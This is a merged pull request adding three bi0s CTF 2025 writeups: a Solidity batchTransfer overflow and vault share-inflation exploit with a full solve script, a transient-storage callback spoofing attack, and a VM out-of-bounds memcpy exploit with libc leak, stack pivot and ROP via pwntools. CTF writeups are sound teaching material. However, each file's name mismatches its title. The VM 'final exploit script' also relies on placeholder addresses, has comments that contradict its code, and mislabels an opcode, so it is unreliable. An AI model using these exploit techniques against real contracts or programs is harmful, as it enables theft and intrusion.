Merge pull request #4 from rk3141/main

bi0s ctf 2025 writeups

Author: ArivoliR

content/writeups/bi0sCTF-2025/BombardinoExfilrino.md

@@ -0,0 +1,112 @@
++++
+title = "Empty Vessel"
+date = 2025-07-07
+authors = ["Anirud"]
++++
+
+## Description
+
+When you speak directly to metal, metal doesn't lie... but it doesn't think either.
+
+## Solution
+
+### Goal
+
+```solidity
+function solve()external{
+        if(!staked){
+            revert Setup__Not__Yet__Staked();
+        }
+        uint256 assetsReceived=stake.redeemAll(address(this),address(this));
+        if(assetsReceived>75_000 ether){
+            revert Setup__Chall__Unsolved();
+        }
+        solved=true;
+    }
+
+    function isSolved()public view returns (bool){
+        return solved;
+    }
+```
+
+When we call solve, redeemAll function is called, and the challenge is complete if less than 75000 ether is received.
+The goal is to inflate the share value such that less than 75000 ether worth of shares are minted when 100000 ether is staked.
+
+### Vulnerability
+
+```solidity
+function batchTransfer(address[] memory receivers,uint256 amount)public returns (bool){
+// ...
+    if lt(mload(ptr),mul(mload(receivers),amount)){ // exploit here since this is vulnerable to integer overflow during balance check
+                    mstore(add(ptr,0x20),0xcf479181)
+                    mstore(add(ptr,0x40),mload(ptr))
+                    mstore(add(ptr,0x60),mul(mload(receivers),amount))
+                    revert(add(add(ptr,0x20),0x1c),0x44)
+                }
+                
+                for {let i:=0x00} lt(i,mload(receivers)) {i:=add(i,0x01)}{
+                    mstore(ptr,mload(add(receivers,mul(add(i,0x01),0x20))))
+                    mstore(add(ptr,0x20),1)
+                    sstore(keccak256(ptr,0x40),add(sload(keccak256(ptr,0x40)),amount))
+                }
+// ...
+}
+```
+
+The function is vulnerable to overflow attacks that allows bypassing balance checks. This means you can transfer very large amounts.
+
+### Exploit Strategy
+
+Read the setup contract to understand that the player can claim 1.746 Billion INR tokens to begin with, and the stakeAmount is 100000 ether.
+We must exploit the batchTransfer function to increase our token holdings, gain ownership of the pool, and then transfer a significant amount to inflate the pool.
+
+```solidity
+pragma solidity ^0.8.20;
+
+import {Script, console} from "forge-std/Script.sol";
+import {Setup, Stake, INR} from "src/Setup.sol";
+
+contract Solve is Script {
+    function run() external {
+        // Replace with the setup instance address given to you
+        address setupAddr = ; // Add received setup address after creating an instance
+
+ vm.startBroadcast();
+        Setup setup = Setup(setupAddr);
+        INR inr = setup.inr();
+        Stake stake = setup.stake();
+ address player = msg.sender;
+ 
+ // Claim INR tokens (gives 1.74B tokens)
+        setup.claim();
+        inr.approve(address(stake), type(uint256).max);
+        
+ // Addresses for inflation attack using batchTransfer
+        address[] memory receivers = new address[](2);
+ receivers[0] = player;
+        receivers[1] = address(0);
+
+ // Transfer large unchecked value to self to later inflate pool
+        inr.batchTransfer(receivers, 0x8000000000000000000000000000000000000000000000000000000000000000);
+
+ // Establish ownership in the pool by depositting just 1 INR
+        stake.deposit(1, player);
+        // Manually transfer 50k INR to the stake pool (inflate it)
+        inr.transfer(address(stake), 50_000 ether);
+
+        // Now make Setup stake its 100k INR - this generates fewer shares due to inflated share value
+        setup.stakeINR();
+
+        setup.solve();
+        // Assert and log result
+        require(setup.isSolved(), "Exploit failed");
+        console.log("Challenge Solved!");
+
+        vm.stopBroadcast();
+    }
+}
+```
+
+We transfer 50000 ether (or more) into the pool, which increases share value, and when stakeINR stakes 100000 ether, it receives lesser shares than expected (since the pool is inflated). Finally when solve is called, the shares are liquidated at fair value, and we receive lesser tokens than we deposited.
+
+Flag: `bi0sctf{tx:0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f}`

content/writeups/bi0sCTF-2025/Empty-Vessel.md

@@ -0,0 +1,53 @@
++++
+title = "Transient Heist Revenge"
+date = 2025-07-15
+authors = ["Vrishab"]
++++
+
+## Overview
+
+The main goal of the challenge is to trick the function `isSolved` from Setup.sol into completing. There are 2 main entities here:
+
+- **Bank Vault** (USDSEngine): This is a very secure vault that stores collateral and allows minting of USDS stablecoin. It uses transient storage (tstore/tload) to verify only the correct Bi0sSwapPair can call certain functions.
+- **Currency Exchange** (Bi0sSwapPair): This booth swaps one type of token for another.
+
+We need to trick the Vault into thinking we’ve deposited a huge amount as collateral - it has to be more than a very large hash value.
+
+## How Collateral Deposits Work
+
+Collateral Deposits normally work like this:
+
+1. A user calls `depositCollateralThroughSwap` to deposit collateral via an automated token swap.
+2. The vault transfers tokens to the Bi0sSwapPair, writes the swap pair’s address into transient storage (`tstore(1, bi0sSwapPair)`).
+3. The swap is performed, and upon completion, the Bi0sSwapPair calls back into `bi0sSwapv1Call` to deposit the collateral.
+4. In `bi0sSwapv1Call`, the vault checks that `msg.sender` matches the stored address from transient storage, ensures the requested collateral deposit is not greater than the amount of tokens received (`collateralDepositAmount <= amountOut`), and updates internal collateral balances.
+
+## The Vulnerability
+
+Now, the only check on who can call `bi0sSwapv1Call` is the transient storage slot. This means that if an attacker can use the value written into transient storage, they can then call `bi0sSwapv1Call` from their own contract address. The vault only checks `msg.sender == tload(1)`, but `tload(1)` gets overwritten during the callback with `tokensSentToUserVault`, allowing us to control this value.
+
+## Exploit Steps
+
+**1. Deploying a malicious contract at a controlled address** - we use CREATE2 to deploy an attacker contract at an address that can be precomputed. This contract must implement the `bi0sSwapv1Call` function. A contract is used instead of a normal wallet since only contracts can call `bi0sSwapv1Call` and pass the transient storage check while being deployed at a known address. We should ensure we get a contract address with sufficient leading zeros for the arithmetic manipulation.
+
+**2. Initiating a Legitimate Swap** - we now call `depositCollateralThroughSwap` with 80,000 WETH which we want to swap for SafeMoon. This triggers `tstore(1, bi0sSwapPair)` - usage of transient storage which survives for the entire transaction, not just the swap call.
+
+**3. Overwrite Transient Storage During First Callback**: During the legitimate `bi0sSwapv1Call` callback, we set `collateralDepositAmount = amountOut - vanity_contract_address`, making `tokensSentToUserVault = vanity_contract_address`. The line `tstore(1, tokensSentToUserVault)` then overwrites the original swap pair address with our contract address.
+
+**4. Second Call to bi0sSwapv1Call**: Within the same transaction, we call `bi0sSwapv1Call` directly from our vanity contract. The check `msg.sender == tload(1)` now passes because `tload(1)` contains our contract address from step 3.
+
+**5. Set Arbitrary Collateral Amounts**: In the second call, we can supply ANY `amountOut` and `collateralDepositAmount > FLAG_HASH` (ensuring `collateralDepositAmount <= amountOut`). These don't need to be realistic token amounts - just arbitrary large numbers.
+
+**6. Repeat for Second Token**: The `isSolved()` function requires BOTH `collateralTokens[0]` (WETH) AND `collateralTokens[1]` (SafeMoon) to exceed `FLAG_HASH`. Since transient storage persists for the entire transaction, you can make a second direct call to `bi0sSwapv1Call` with the other token type using the same poisoned transient storage.
+
+## Arithmetic Manipulation Used
+
+The exploit requires careful calculation: `tokensSentToUserVault = amountOut - collateralDepositAmount` must equal the vanity contract address. We need a vanity address with 7+ leading zeros to make this arithmetic feasible compared to `FLAG_HASH`.
+
+## Why the Vanity Address Matters
+
+- We need a contract deployed at a **small numeric address** (7 leading zeros) to make the arithmetic work.
+- The calculation `tokensSentToUserVault = amountOut - collateralDepositAmount` must equal our contract address.
+- We need an address comparatively smaller than `FLAG_HASH` so that in the first callback, `amountOut = vanityAddress + smallCollateralAmount` is achievable through legitimate token swaps, while in the second call you can use `collateralDepositAmount > FLAG_HASH`.
+- This address then gets written to transient storage, allowing our contract to **pass the `msg.sender` check** on the second call.
+

content/writeups/bi0sCTF-2025/Transient_Heist_Revenge_Writeup.md

@@ -0,0 +1,181 @@
++++
+title = "Uninitialized VM"
+date = 2025-07-08
+authors = ["Thirukailash"] 
++++
+
+**Description**
+
+Just cooked up a simple VM, forgot to check for bugs tho.
+
+## **Files provided**
+
+    vm_chall
+    Dockerfile
+    libc.so.6
+    ld-linux-x86-64.so.2
+    flag.txt
+
+## Vulnerability
+
+- `CPY` opcode uses `memcpy()` with attacker-controlled size and indices.
+- No bounds checks → memory corruption.
+- Can copy data *into and out of* the VM stack and manipulate key structures.
+
+---
+
+## Key Opcodes for exploit
+
+| Opcode   | Meaning             |
+|----------|---------------------|
+| `0x36`   | `CPY` (vuln here)   |
+| `0x31`   | `PUSH`              |
+| `0x32`   | `PUSH_R`            |
+| `0x33`   | `POP_R`             |
+| `0x35`   | `MOV_R_X`           |
+| `0x44`   | `SUB`               |
+| `0x43`   | `ADD`               |
+
+---
+
+## Exploit summary
+
+The vulnerability lies in a broken VM instruction: **`CPY`**, which uses `memcpy()` without bounds checking. This gives us **out-of-bounds memory read/write** from within the VM.
+
+---
+
+### Step 1: Copy `regs` Struct to VM Stack
+
+- Use the vulnerable `CPY` instruction to copy the `regs` struct onto the VM's stack.
+- Modify register values (`sp`, `bp`, `pc`, etc.) using VM instructions like `ADD`, `SUB`, `MOV`, etc.
+- These modifications are possible because the VM allows arithmetic on its stack contents.
+
+---
+
+### Step 2: Regain Control Over VM Stack
+
+- After editing the copied `regs`, copy it back into its original location using `CPY`.
+- This gives full control over the VM’s:
+  - **Stack pointer (`sp`)**
+  - **Base pointer (`bp`)**
+  - **Program counter (`pc`)**
+- Now we can use VM opcodes like `PUSH`, `POP`, and `CPY` to read/write arbitrary memory.
+
+---
+
+### Step 3: Leak libc via Heap Metadata
+
+- The `expand()` function frees the old memory chunks and reallocates them.
+- Freed chunks leave **unsorted bin metadata** (heap freelist pointers) in memory.
+- Use VM stack read to extract those pointers → gives a **libc leak**.
+
+---
+
+### Step 4: Leak Stack Address via `environ`
+
+- Use leaked libc base to compute the address of `environ`.
+- `environ` holds a pointer to the actual stack top.
+- Copy `environ` to the VM stack, then use `POP_R` to load it into a VM register.
+
+---
+
+### Step 5: Stack Pivot + Return Address Overwrite
+
+Now that we know the real stack address:
+
+- Set the VM stack to overlap the **main() function’s stack frame**.
+- Push a **ROP chain** onto the return address using the VM’s `PUSH` opcode.
+- When execution returns from main, it hits our payload.
+
+---
+
+## Final Exploit Script
+
+The following Python script uses `pwntools` to exploit the Uninitialized VM by triggering an out-of-bounds `memcpy`, leaking `libc` and `stack`, and hijacking control flow.
+
+```python
+#!/usr/bin/env python3
+from pwn import *
+
+context.binary = ELF("./vm_chall")
+libc = ELF("./libc.so.6")
+context.terminal = ["tmux", "splitw", "-h"]
+context.log_level = "debug"
+
+# Start the target process or connect remotely
+def launch():
+    if args.REMOTE:
+        return remote("host", 1337)  # Replace with actual host/port
+    elif args.GDB:
+        return gdb.debug("./vm_chall", gdbscript="""
+            break *main+1695
+            continue
+        """)
+    else:
+        return process("./vm_chall")
+
+# Short helpers to emit bytecode for each instruction
+def b(x): return p8(x)
+def reg(r): return b(r & 7)
+
+def op_push_imm(val): return b(0x35) + reg(0) + p64(val)
+def op_push(val): return b(0x31) + b(val)
+def op_push_r(r): return b(0x32) + reg(r)
+def op_pop_r(r): return b(0x33) + reg(r)
+def op_mov(dst, src): return b(0x34) + reg(dst) + reg(src)
+def op_cpy(dst_r, src_r, size): return b(0x36) + reg(dst_r) + reg(src_r) + b(size) + b(0) * 2  # pad to skip PC += 3
+def op_add(r1, r2): return b(0x43) + reg(r1) + reg(r2)
+def op_and(r1, r2): return b(0x38) + reg(r1) + reg(r2)
+def op_not(r): return b(0x40) + reg(r)
+def op_jmp(offset): return b(0x45) + b(offset)
+
+# Construct the payload
+def build_payload():
+    payload = b''
+
+    # Step 1: Fill stack space to operate on
+    for _ in range(16):
+        payload += op_push(0x00)
+
+    # Step 2: Copy `regs` struct to VM stack 
+    payload += op_push_imm(0xef)
+    payload += op_push_imm(0xff)
+    payload += op_mov(0, 0)     # r0 = 0xef
+    payload += op_mov(1, 1)     # r1 = 0xff
+    payload += op_cpy(0, 1, 0x80)
+
+    # Step 3: Prepare modified `regs` on stack (e.g., set new PC/sp/bp)
+    payload += op_pop_r(3)      # Assume r3 = heap libc ptr
+    payload += op_pop_r(4)      # r4 = PC
+    payload += op_push_imm(0x12345678)  # Replace with address of environ or main stack
+    payload += op_pop_r(5)      # r5 = stack base
+    payload += op_push_imm(0xffffffffffffffff)
+    payload += op_pop_r(6)      # r6 = end marker
+    payload += op_cpy(1, 0, 0x80)  # Copy back regs
+
+    # Step 4: Stack pivot → target real stack
+    payload += op_push_imm(0xdeadbeefcafebabe)  # one_gadget or ret address
+    for _ in range(3):
+        payload += op_push(0x00)
+
+    return payload
+
+# Main
+io = launch()
+
+# Initial VM prompt sequence
+for _ in range(2):
+    io.sendlineafter(b"[ lEn? ] >> ", b"1")
+    io.sendlineafter(b"[ BYTECODE ] >>", b"a")
+
+# Final exploit payload
+bytecode = build_payload()
+assert len(bytecode) < 256
+
+io.sendlineafter(b"[ lEn? ] >> ", str(len(bytecode)).encode())
+io.sendlineafter(b"[ BYTECODE ] >>", bytecode)
+io.interactive()
+
+``````
+
+ This challenge was a great learning experience. I gained a deeper understanding of custom VM environments, memory layout manipulation, and struct-based exploitation. Thanks to the bi0sCTF team for such an excellent problem.